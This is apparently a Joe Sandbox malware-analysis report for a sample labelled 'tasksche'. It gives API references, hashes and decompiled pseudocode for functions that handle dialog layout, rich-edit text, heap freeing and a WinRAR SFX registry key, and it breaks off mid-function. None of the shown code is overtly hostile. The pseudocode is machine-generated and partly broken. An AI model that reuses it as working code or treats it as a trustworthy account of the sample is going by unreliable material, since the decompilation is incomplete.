0x0040beb9
0x0040becc
0x00000000
0x0040bebb
0x0040bebb
0x0040bebb
0x0040bebe
0x0040bec8
0x00000000
0x0040bec0
0x0040bec1
0x0040bec2
0x0040bec4
0x0040bed6
0x0040bed6
0x0040bee7
0x0040bee7
0x0040bee7
0x0040bec2
0x0040bebe
0x0040beb9
0x0040beb4
0x0040beaf
0x0040bee8
0x0040beec
0x0040beed
0x0040bef0
0x00000000
0x00000000
0x00000000
0x0040bef0
0x0040be96
0x0040bef2
0x0040bef4
0x0040bef6
0x0040befa
0x0040befa
0x00000000
0x0040be3b
0x00000000
0x0040bcbc
0x0040bcbc
0x0040bcc6
0x0040bcc6
0x0040bf0d
0x0040bc5f
0x0040bc67
0x0040bc76
0x0040bc7f
0x0040bc85
0x00000000
0x0040bc85
0x0040bc7f
0x0040bf12
0x0040bf1a

APIs

__EH_prolog.LIBCMT ref: 0040BC37
_wcschr.LIBCMT ref: 0040BC4E
GetModuleFileNameW.KERNEL32(00000000,?,00000800,004335BC,0040C3B4,0041005C,00439820,0041005C,00439820), ref: 0040BC67
_wcsrchr.LIBCMT ref: 0040BC76
_wcscpy.LIBCMT ref: 0040BC8C
_malloc.LIBCMT ref: 0040BE13

Part of subcall function 00408BAE: SetFilePointer.KERNELBASE(?,00000000,?,00000001), ref: 00408BE1
Part of subcall function 00408BAE: GetLastError.KERNEL32(?,?), ref: 00408BEE

_strncmp.LIBCMT ref: 0040BD3F
_strncmp.LIBCMT ref: 0040BD9B
_malloc.LIBCMT ref: 0040BE49

Strings

*messages***, xrefs: 0040BD39
a, xrefs: 0040BD82
*messages***, xrefs: 0040BD6B

Memory Dump Source

Source File: 00000009.00000002.773160296.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.773127087.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773302345.000000000042A000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773324321.0000000000430000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773360057.0000000000435000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773375129.000000000044F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773387412.0000000000452000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: File_malloc_strncmp$ErrorH_prologLastModuleNamePointer_wcschr_wcscpy_wcsrchr
String ID: *messages***$*messages***$a
API String ID: 644328012-1639468518
Opcode ID: ce92c9ddd730c79d2188c1e242c279a763945db822d6a664a738baf9c01ceca9
Instruction ID: aa973f8903d1be904dc07ab5abbbb304e5ce1521a2ae556c165a5ca6c4136d8e
Opcode Fuzzy Hash: ce92c9ddd730c79d2188c1e242c279a763945db822d6a664a738baf9c01ceca9
Instruction Fuzzy Hash: 5981F2B1A002099ADB34DF64CC85BEA77A4EF10354F10417FE791B72D1DBB88A85CA9D

Uniqueness

Uniqueness Score: -1.00%

Function 0040C15C Relevance: 21.2, APIs: 14, Instructions: 205
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 69%

			E0040C15C(intOrPtr __ecx, void* __edx, void* __eflags, signed int _a4, intOrPtr _a8, struct HWND__* _a12) {
				char _v5;
				struct HWND__* _v12;
				signed int _v16;
				signed int _v20;
				int _v24;
				int _v28;
				int _v32;
				intOrPtr _v36;
				struct tagRECT _v52;
				struct tagRECT _v68;
				struct tagRECT _v84;
				short _v2132;
				signed int _t115;
				struct HWND__* _t117;
				signed int _t135;
				signed int _t159;
				struct HWND__* _t173;
				signed int _t174;
				int _t177;
				void* _t181;
				signed int _t182;
				signed int _t185;
				signed int _t194;
				void* _t196;
				void* _t197;
				void* _t200;
				int _t201;
				int _t204;

				_v36 = __ecx;
				_v5 = E0040C075(__ecx, __edx, _a8,  &_v20,  &_v16);
				GetWindowRect(_a4,  &_v52);
				GetClientRect(_a4,  &_v84);
				_t115 = _v84.right;
				_t181 = _v52.right - _v52.left + 1;
				_t200 = _v52.bottom - _v52.top + 1;
				_t196 = _t200 - _v84.bottom;
				_t173 = _t181 - _t115;
				_v12 = _t173;
				if(_v5 == 0) {
					L9:
					_t201 = 0x400;
					if(_a12 == 0) {
						GetWindowTextW(_a4,  &_v2132, 0x400);
						E0040BF1D(_v36,  &_v2132,  &_v2132, 0x400, 1, _a8);
						SetWindowTextW(_a4,  &_v2132); // executed
					}
					L12:
					_t197 = _t196 - GetSystemMetrics(8);
					_t117 = GetWindow(_a4, 5);
					_a4 = _a4 & 0x00000000;
					_a12 = _t117;
					_v12 = _t117;
					while(_t117 != 0) {
						if(_a4 >= 0x200) {
							break;
						}
						GetWindowTextW(_a12,  &_v2132, _t201);
						if(_v2132 != 0) {
							E0040BF1D(_v36,  &_v2132,  &_v2132, _t201, 1, _a8);
							SetWindowTextW(_a12,  &_v2132); // executed
						}
						if(_v5 != 0) {
							GetWindowRect(_a12,  &_v68);
							_push(0x204);
							asm("cdq");
							_t182 = 0x64;
							_push((_v68.bottom - _v68.top + 1) * _v16 / _t182);
							asm("cdq");
							_push((_v68.right - _v68.left + 1) * _v20 / _t182);
							_t135 = (_v68.top - _t197 - _v52.top) * _v16;
							asm("cdq");
							_push(_t135 / _t182);
							asm("cdq");
							_t185 = 0x64;
							asm("cdq");
							SetWindowPos(_a12, 0, (_v68.left - (_t173 - _t135 % _t182 >> 1) - _v52.left) * _v20 / _t185, ??, ??, ??, ??);
						}
						_t117 = GetWindow(_a12, 2);
						_a12 = _t117;
						if(_t117 == _v12) {
							break;
						} else {
							_a4 = _a4 + 1;
							continue;
						}
					}
					return _t117;
				}
				if(_a12 != 0) {
					_t201 = 0x400;
					goto L12;
				}
				asm("cdq");
				_t174 = 0x64;
				_v24 = _v12 + _t115 * _v20 / _t174;
				_t159 = _v84.bottom * _v16;
				asm("cdq");
				_t194 = _t159 % _t174;
				_v28 = _t159 / _t174 + _t196;
				asm("cdq");
				_t177 = (_t181 - _v24 - _t194 >> 1) + _v52.left;
				asm("cdq");
				_t204 = (_t200 - _v28 - _t194 >> 1) + _v52.top;
				if(_t177 < 0) {
					_t177 = 0;
				}
				if(_t204 < 0) {
					_t204 = 0;
				}
				_v32 = 0x204;
				if((GetWindowLongW(_a4, 0xfffffff0) & 0x00000800) == 0) {
					_v32 = 0x206;
				}
				SetWindowPos(_a4, 0, _t177, _t204, _v24, _v28, _v32);
				GetWindowRect(_a4,  &_v52);
				_t173 = _v12;
				goto L9;
			}

0x0040c173
0x0040c17b
0x0040c185
0x0040c192
0x0040c1a4
0x0040c1a7
0x0040c1a8
0x0040c1ad
0x0040c1b0
0x0040c1b6
0x0040c1b9
0x0040c258
0x0040c25c
0x0040c261
0x0040c26e
0x0040c285
0x0040c294
0x0040c294
0x0040c2a1
0x0040c2ae
0x0040c2b0
0x0040c2b6
0x0040c2ba
0x0040c2bd
0x0040c399
0x0040c2cc
0x00000000
0x00000000
0x0040c2dd
0x0040c2eb
0x0040c2fe
0x0040c30d
0x0040c30d
0x0040c317
0x0040c320
0x0040c32c
0x0040c336
0x0040c339
0x0040c33c
0x0040c348
0x0040c34b
0x0040c354
0x0040c358
0x0040c35b
0x0040c35e
0x0040c373
0x0040c374
0x0040c37d
0x0040c37d
0x0040c388
0x0040c38e
0x0040c394
0x00000000
0x0040c396
0x0040c396
0x00000000
0x0040c396
0x0040c394
0x0040c3a5
0x0040c3a5
0x0040c1c3
0x0040c29c
0x00000000
0x0040c29c
0x0040c1cd
0x0040c1d0
0x0040c1d6
0x0040c1dc
0x0040c1e0
0x0040c1e1
0x0040c1e5
0x0040c1ed
0x0040c1f9
0x0040c1fc
0x0040c203
0x0040c208
0x0040c20a
0x0040c20a
0x0040c20e
0x0040c210
0x0040c210
0x0040c217
0x0040c229
0x0040c22b
0x0040c22b
0x0040c242
0x0040c24f
0x0040c255
0x00000000

APIs

Part of subcall function 0040C075: _wcschr.LIBCMT ref: 0040C0A5

GetWindowRect.USER32 ref: 0040C185
GetClientRect.USER32 ref: 0040C192
GetWindowLongW.USER32(?,000000F0), ref: 0040C21E
SetWindowPos.USER32(?,00000000,?,?,?,?,00000204), ref: 0040C242
GetWindowRect.USER32 ref: 0040C24F
GetWindowTextW.USER32 ref: 0040C26E
SetWindowTextW.USER32(?,?), ref: 0040C294
GetSystemMetrics.USER32 ref: 0040C2A3
GetWindow.USER32(?,00000005), ref: 0040C2B0
GetWindowTextW.USER32 ref: 0040C2DD
SetWindowTextW.USER32(00000000,00000000), ref: 0040C30D
GetWindowRect.USER32 ref: 0040C320
SetWindowPos.USER32(00000000,00000000,00000000,00000110,00000000,00000110,00000204), ref: 0040C37D
GetWindow.USER32(00000000,00000002), ref: 0040C388

Memory Dump Source

Source File: 00000009.00000002.773160296.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.773127087.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773302345.000000000042A000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773324321.0000000000430000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773360057.0000000000435000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773375129.000000000044F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773387412.0000000000452000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: Window$RectText$ClientLongMetricsSystem_wcschr
String ID:
API String ID: 4134264131-0
Opcode ID: 9886efa1d7aa19233dee01def18c78a05a732e10b374928cec257c7fc49daa0d
Instruction ID: 46c95fab82868b9c938a6533d3e49af797eb3fa96210388a24d02bb49560b234
Opcode Fuzzy Hash: 9886efa1d7aa19233dee01def18c78a05a732e10b374928cec257c7fc49daa0d
Instruction Fuzzy Hash: 9A711671A00219EFDF10DFE8CC89AEEBBB9FB08314F048169FD15B61A0D774AA558B54

Uniqueness

Uniqueness Score: -1.00%

Function 0040D298 Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 94
windowCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E0040D298(char _a4, long _a8) {
				struct HWND__* _v8;
				char _v75;
				intOrPtr _v80;
				signed int _v92;
				int _v96;
				void* _v100;
				intOrPtr _t48;
				struct HWND__* _t49;

				_t49 = GetDlgItem( *0x441844, 0x68);
				_v8 = _t49;
				if( *0x441848 == 0) {
					_t48 =  *0x438814; // 0x19fe80
					E0041918B(_t48);
					ShowWindow(_t49, 5); // executed
					SendMessageW(_t49, 0xb1, 0, 0xffffffff);
					SendMessageW(_t49, 0xc2, 0, 0x42a73c);
					 *0x441848 = 1;
				}
				SendMessageW(_v8, 0xb1, 0x5f5e100, 0x5f5e100);
				_v100 = 0x5c;
				SendMessageW(_v8, 0x43a, 0,  &_v100);
				_v75 = 0;
				_v96 = 1;
				if(_a4 != 0) {
					_v92 = _v92 & 0xbfffffff | 1;
					_v80 = 0xa0;
					_v96 = 0x40000001;
				}
				SendMessageW(_v8, 0x444, 1,  &_v100);
				SendMessageW(_v8, 0xc2, 0, _a8);
				SendMessageW(_v8, 0xb1, 0x5f5e100, 0x5f5e100);
				if(_a4 != 0) {
					_v92 = _v92 & 0xfffffffe | 0x40000000;
					SendMessageW(_v8, 0x444, 1,  &_v100);
				}
				return SendMessageW(_v8, 0xc2, 0, L"\r\n");
			}

0x0040d2bc
0x0040d2be
0x0040d2c6
0x0040d2c8
0x0040d2ce
0x0040d2d6
0x0040d2e2
0x0040d2f1
0x0040d2f3
0x0040d2f3
0x0040d305
0x0040d315
0x0040d31c
0x0040d325
0x0040d329
0x0040d32c
0x0040d339
0x0040d33c
0x0040d343
0x0040d343
0x0040d357
0x0040d366
0x0040d36e
0x0040d374
0x0040d381
0x0040d392
0x0040d392
0x0040d3a9

APIs

GetDlgItem.USER32 ref: 0040D2A9
ShowWindow.USER32(00000000,00000005,?,?,?,?,?,0040D3E6,00000001,?,?,0040E2C6,0042A848,0044CF30,0044CF30,00001000), ref: 0040D2D6
SendMessageW.USER32(00000000,000000B1,00000000,000000FF), ref: 0040D2E2
SendMessageW.USER32(00000000,000000C2,00000000,0042A73C), ref: 0040D2F1
SendMessageW.USER32(0040639B,000000B1,05F5E100,05F5E100), ref: 0040D305
SendMessageW.USER32(0040639B,0000043A,00000000,?), ref: 0040D31C
SendMessageW.USER32(0040639B,00000444,00000001,0000005C), ref: 0040D357
SendMessageW.USER32(0040639B,000000C2,00000000,00000456), ref: 0040D366
SendMessageW.USER32(0040639B,000000B1,05F5E100,05F5E100), ref: 0040D36E
SendMessageW.USER32(0040639B,00000444,00000001,0000005C), ref: 0040D392
SendMessageW.USER32(0040639B,000000C2,00000000,0042A810), ref: 0040D3A3

Part of subcall function 0041918B: DestroyWindow.USER32(?,76B4BB20,0040D2D3,?,?,?,?,?,0040D3E6,00000001,?,?,0040E2C6,0042A848,0044CF30,0044CF30), ref: 00419196

Strings

\, xrefs: 0040D315

Memory Dump Source

Source File: 00000009.00000002.773160296.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.773127087.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773302345.000000000042A000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773324321.0000000000430000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773360057.0000000000435000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773375129.000000000044F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773387412.0000000000452000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: MessageSend$Window$DestroyItemShow
String ID: \
API String ID: 2996232536-2967466578
Opcode ID: 099f520084dbf5fca48704fc3201186082e925487be8ae0bd6b4d09b2fa327de
Instruction ID: 06257c9e161764c7d53c24ae9c51dbab41789d270eb5449b748dea2bf3ac4db1
Opcode Fuzzy Hash: 099f520084dbf5fca48704fc3201186082e925487be8ae0bd6b4d09b2fa327de
Instruction Fuzzy Hash: C431B170E4025CBBEB219BA0CC4AFAEBFB9EB41714F10412AF500BA1E0D7B51D55DB59

Uniqueness

Uniqueness Score: -1.00%

Function 0041A060 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 30
librarycomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 25%

			E0041A060(signed int* __ecx) {
				intOrPtr _v8;
				char _v12;
				struct HINSTANCE__* _t7;
				struct HINSTANCE__* _t8;
				void* _t12;
				void* _t15;
				struct HINSTANCE__** _t16;

				_t16 = __ecx;
				__ecx[1] = __ecx[1] & 0x00000000;
				 *__ecx =  *__ecx & 0x00000000;
				_t7 = LoadLibraryW(L"riched32.dll"); // executed
				 *_t16 = _t7;
				_t8 = LoadLibraryW(L"riched20.dll");
				_t16[1] = _t8;
				__imp__OleInitialize(0, _t12, _t15, __ecx, __ecx);
				_v12 = 8;
				_v8 = 0x7ff;
				__imp__InitCommonControlsEx( &_v12);
				__imp__SHGetMalloc(0x44f800); // executed
				return _t16;
			}

0x0041a06d
0x0041a06f
0x0041a073
0x0041a07b
0x0041a082
0x0041a084
0x0041a088
0x0041a08b
0x0041a095
0x0041a09c
0x0041a0a3
0x0041a0ae
0x0041a0b9

APIs

LoadLibraryW.KERNELBASE(riched32.dll,00000000,00439820,?,?,?,00410051), ref: 0041A07B
LoadLibraryW.KERNEL32(riched20.dll,?,00410051), ref: 0041A084
OleInitialize.OLE32(00000000), ref: 0041A08B
InitCommonControlsEx.COMCTL32(?), ref: 0041A0A3
SHGetMalloc.SHELL32(0044F800), ref: 0041A0AE

Strings

riched32.dll, xrefs: 0041A076
riched20.dll, xrefs: 0041A07D

Memory Dump Source

Source File: 00000009.00000002.773160296.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.773127087.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773302345.000000000042A000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773324321.0000000000430000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773360057.0000000000435000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773375129.000000000044F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773387412.0000000000452000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: LibraryLoad$CommonControlsInitInitializeMalloc
String ID: riched20.dll$riched32.dll
API String ID: 448729520-3294723617
Opcode ID: 8624e4f240296107261ce0a47b5d27c571c626025523bcd3f0aeccd25934cca6
Instruction ID: d62a9b991739124620cbbd73e07a01740528edc951963754c9102d88a2026b42
Opcode Fuzzy Hash: 8624e4f240296107261ce0a47b5d27c571c626025523bcd3f0aeccd25934cca6
Instruction Fuzzy Hash: EFF08271B00318AFD7209FA5DC0EB9ABBE8EF40766F50442DE54593250DBB8A4458BA9

Uniqueness

Uniqueness Score: -1.00%

Function 0040DA8C Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 46
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E0040DA8C(void* __esi, char* _a4) {
				void* _v8;
				int _v12;
				short _v4108;
				long _t12;
				long _t20;
				intOrPtr _t27;

				_t12 = E0041AAF0(0x1008);
				if( *0x441878 != 0) {
					_t27 =  *0x438818; // 0x43
					if(_t27 != 0) {
						E0040DA4F( &_v4108, "C:\Windows");
						_t12 = RegCreateKeyExW(0x80000001, L"Software\\WinRAR SFX", 0, 0, 0, 0x20006, 0,  &_v8,  &_v12); // executed
						if(_t12 == 0) {
							RegSetValueExW(_v8,  &_v4108, 0, 1, _a4, E0041A7AF(_a4) + _t16 + 2); // executed
							_t20 = RegCloseKey(_v8); // executed
							return _t20;
						}
					}
				}
				return _t12;
			}

0x0040da94
0x0040daa2
0x0040daa4
0x0040daab
0x0040dab9
0x0040dad9
0x0040dae2
0x0040db02
0x0040db0b
0x00000000
0x0040db0b
0x0040dae2
0x0040daab
0x0040db13

APIs

Part of subcall function 0040DA4F: _wcscpy.LIBCMT ref: 0040DA54

RegCreateKeyExW.KERNELBASE(80000001,Software\WinRAR SFX,00000000,00000000,00000000,00020006,00000000,?,?,C:\Windows), ref: 0040DAD9
_wcslen.LIBCMT ref: 0040DAE7
RegSetValueExW.KERNELBASE(?,?,00000000,00000001,?,?), ref: 0040DB02
RegCloseKey.KERNELBASE(?), ref: 0040DB0B

Strings

Software\WinRAR SFX, xrefs: 0040DACF
C:\Windows, xrefs: 0040DAA4, 0040DAAE

Memory Dump Source

Source File: 00000009.00000002.773160296.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.773127087.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773302345.000000000042A000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773324321.0000000000430000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773360057.0000000000435000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773375129.000000000044F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773387412.0000000000452000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: CloseCreateValue_wcscpy_wcslen
String ID: C:\Windows$Software\WinRAR SFX
API String ID: 3170333323-1036045337
Opcode ID: 253b5885f96daf7b7a8b4f1510ea2afe6e1404dcbc281fb2c19877bebd1cbb3e
Instruction ID: c04f9cf324d6fb33717342d95d48926d42d97767c878bcc2ae640bd506731f16
Opcode Fuzzy Hash: 253b5885f96daf7b7a8b4f1510ea2afe6e1404dcbc281fb2c19877bebd1cbb3e
Instruction Fuzzy Hash: 7F018476A0020CBFEB21AF90DC86EDA777CEB08388F504076B60562061DA745ED99669

Uniqueness

Uniqueness Score: -1.00%

Function 0041A506 Relevance: 7.5, APIs: 5, Instructions: 44
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 30%

			E0041A506(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr* _t10;
				intOrPtr _t13;
				intOrPtr _t23;
				void* _t25;

				_push(0xc);
				_push(0x42d658);
				_t8 = E0041FA9C(__ebx, __edi, __esi);
				_t23 =  *((intOrPtr*)(_t25 + 8));
				if(_t23 == 0) {
					L9:
					return E0041FAE1(_t8);
				}
				if( *0x451420 != 3) {
					_push(_t23);
					L7:
					_push(0);
					_t8 = RtlFreeHeap( *0x44f848); // executed
					_t31 = _t8;
					if(_t8 == 0) {
						_t10 = E0041EDAE(_t31);
						 *_t10 = E0041ED6C(GetLastError());
					}
					goto L9;
				}
				E0041EFA3(__ebx, 4);
				 *(_t25 - 4) =  *(_t25 - 4) & 0x00000000;
				_t13 = E0041EFD6(_t23);
				 *((intOrPtr*)(_t25 - 0x1c)) = _t13;
				if(_t13 != 0) {
					_push(_t23);
					_push(_t13);
					E0041F006();
				}
				 *(_t25 - 4) = 0xfffffffe;
				_t8 = E0041A55C();
				if( *((intOrPtr*)(_t25 - 0x1c)) != 0) {
					goto L9;
				} else {
					_push( *((intOrPtr*)(_t25 + 8)));
					goto L7;
				}
			}

0x0041a506
0x0041a508
0x0041a50d
0x0041a512
0x0041a517
0x0041a58e
0x0041a593
0x0041a593
0x0041a520
0x0041a565
0x0041a566
0x0041a566
0x0041a56e
0x0041a574
0x0041a576
0x0041a578
0x0041a58b
0x0041a58d
0x00000000
0x0041a576
0x0041a524
0x0041a52a
0x0041a52f
0x0041a535
0x0041a53a
0x0041a53c
0x0041a53d
0x0041a53e
0x0041a544
0x0041a545
0x0041a54c
0x0041a555
0x00000000
0x0041a557
0x0041a557
0x00000000
0x0041a557

APIs

__lock.LIBCMT ref: 0041A524

Part of subcall function 0041EFA3: __mtinitlocknum.LIBCMT ref: 0041EFB9
Part of subcall function 0041EFA3: __amsg_exit.LIBCMT ref: 0041EFC5
Part of subcall function 0041EFA3: EnterCriticalSection.KERNEL32(0041A9AB,0041A9AB,?,00425448,00000004,0042DB18,0000000C,0042133E,00000000,0041A9BA,00000000,00000000,00000000,?,0041E966,00000001), ref: 0041EFCD

___sbh_find_block.LIBCMT ref: 0041A52F
___sbh_free_block.LIBCMT ref: 0041A53E
RtlFreeHeap.NTDLL(00000000,00000000,0042D658,0000000C,0041EF84,00000000,0042D930,0000000C,0041EFBE,00000000,0041A9AB,?,00425448,00000004,0042DB18,0000000C), ref: 0041A56E
GetLastError.KERNEL32(?,00425448,00000004,0042DB18,0000000C,0042133E,00000000,0041A9BA,00000000,00000000,00000000,?,0041E966,00000001,00000214), ref: 0041A57F

Memory Dump Source

Source File: 00000009.00000002.773160296.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.773127087.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773302345.000000000042A000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773324321.0000000000430000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773360057.0000000000435000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773375129.000000000044F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773387412.0000000000452000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: CriticalEnterErrorFreeHeapLastSection___sbh_find_block___sbh_free_block__amsg_exit__lock__mtinitlocknum
String ID:
API String ID: 2714421763-0
Opcode ID: 1eba3eb2bfd23f5b1e043426ba5b029f38dd9947a11c8dba489f2cac3b6c6ae4
Instruction ID: 0c17081243acc93c5e04f74f5850e91c5e9c62578e05a8caa74c22d26ff5c9bd
Opcode Fuzzy Hash: 1eba3eb2bfd23f5b1e043426ba5b029f38dd9947a11c8dba489f2cac3b6c6ae4
Instruction Fuzzy Hash: 1D01847194A215BBDB306BB29C067DE3B65AF00798F10012BFC0496291DB3C86D19A5E

Uniqueness

Uniqueness Score: -1.00%

Function 00411119 Relevance: 7.5, APIs: 5, Instructions: 36
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00411119(void* __ecx) {
				long* _t16;
				void** _t19;
				void* _t21;

				_t17 = __ecx;
				_t21 = __ecx;
				E0041102B(__ecx);
				_t16 = 0;
				 *((char*)(__ecx + 0x194)) = 1;
				ReleaseSemaphore( *(__ecx + 0x198), 0x20, 0);
				if( *((intOrPtr*)(_t21 + 0x84)) > 0) {
					_t19 = _t21 + 4;
					do {
						E00410EA0(_t17,  *_t19);
						FindCloseChangeNotification( *_t19); // executed
						_t16 = _t16 + 1;
						_t19 =  &(_t19[1]);
					} while (_t16 <  *((intOrPtr*)(_t21 + 0x84)));
				}
				DeleteCriticalSection(_t21 + 0x1a0);
				FindCloseChangeNotification( *(_t21 + 0x198)); // executed
				return CloseHandle( *(_t21 + 0x19c));
			}

0x00411119
0x0041111c
0x0041111e
0x00411123
0x0041112e
0x00411135
0x00411147
0x0041114a
0x0041114d
0x0041114f
0x00411156
0x00411158
0x00411159
0x0041115c
0x00411164
0x0041116c
0x00411178
0x00411185

APIs

Part of subcall function 0041102B: ResetEvent.KERNEL32(?,00000200,?,?,00405016), ref: 00411051
Part of subcall function 0041102B: ReleaseSemaphore.KERNEL32(?,?,00000000), ref: 00411061

ReleaseSemaphore.KERNEL32(?,00000020,00000000,?,?,0044F590,00411241,?,00401024,?,?,0040128E), ref: 00411135
FindCloseChangeNotification.KERNELBASE(00000003,00000003,?,?,0044F590,00411241,?,00401024,?,?,0040128E), ref: 00411156
DeleteCriticalSection.KERNEL32(?,?,0044F590,00411241,?,00401024,?,?,0040128E), ref: 0041116C
FindCloseChangeNotification.KERNELBASE(?,?,0044F590,00411241,?,00401024,?,?,0040128E), ref: 00411178
CloseHandle.KERNEL32(?,?,0044F590,00411241,?,00401024,?,?,0040128E), ref: 00411180

Part of subcall function 00410EA0: WaitForSingleObject.KERNEL32(?,000000FF,00410FD9,?,?,00411197,?,?,?,?,?,004111E6), ref: 00410EA6
Part of subcall function 00410EA0: GetLastError.KERNEL32(?,?,?,?,?,004111E6), ref: 00410EB2

Memory Dump Source

Source File: 00000009.00000002.773160296.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.773127087.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773302345.000000000042A000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773324321.0000000000430000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773360057.0000000000435000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773375129.000000000044F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773387412.0000000000452000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: Close$ChangeFindNotificationReleaseSemaphore$CriticalDeleteErrorEventHandleLastObjectResetSectionSingleWait
String ID:
API String ID: 3803654862-0
Opcode ID: 29ee5acdc12332976cb057a69276285ab821669b88e8e9e7981cd7b54762f760
Instruction ID: 628da898c48b8095e2505876ae832dd6733ab043d372e65b09dbeb3e2adc3a3f
Opcode Fuzzy Hash: 29ee5acdc12332976cb057a69276285ab821669b88e8e9e7981cd7b54762f760
Instruction Fuzzy Hash: F9F06275101704AFD7206B70DC45BD7BBA5EB0A354F00042AF7AA41120CB7768A19B29

Uniqueness

Uniqueness Score: -1.00%

Function 0040DB16 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 50
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E0040DB16(void* __esi, intOrPtr _a4, intOrPtr _a8) {
				int _v8;
				void* _v12;
				int _v16;
				char _v4112;
				short _v8208;
				long _t22;
				signed int _t31;
				void* _t38;

				_t22 = E0041AAF0(0x200c);
				if( *0x441878 != 0) {
					E0040DA4F( &_v8208, _a4);
					_t22 = RegOpenKeyExW(0x80000001, L"Software\\WinRAR SFX", 0, 1,  &_v12); // executed
					if(_t22 == 0) {
						_v8 = 0x1000;
						if(RegQueryValueExW(_v12,  &_v8208, 0,  &_v16,  &_v4112,  &_v8) == 0) {
							_v8 = _v8 >> 1;
							_t31 = 0x7ff;
							if(_v8 < 0x7ff) {
								_t31 = _v8;
							}
							 *((short*)(_t38 + _t31 * 2 - 0x100c)) = 0;
							E00410B9C(_a4,  &_v4112, _a8);
						}
						return RegCloseKey(_v12);
					}
				}
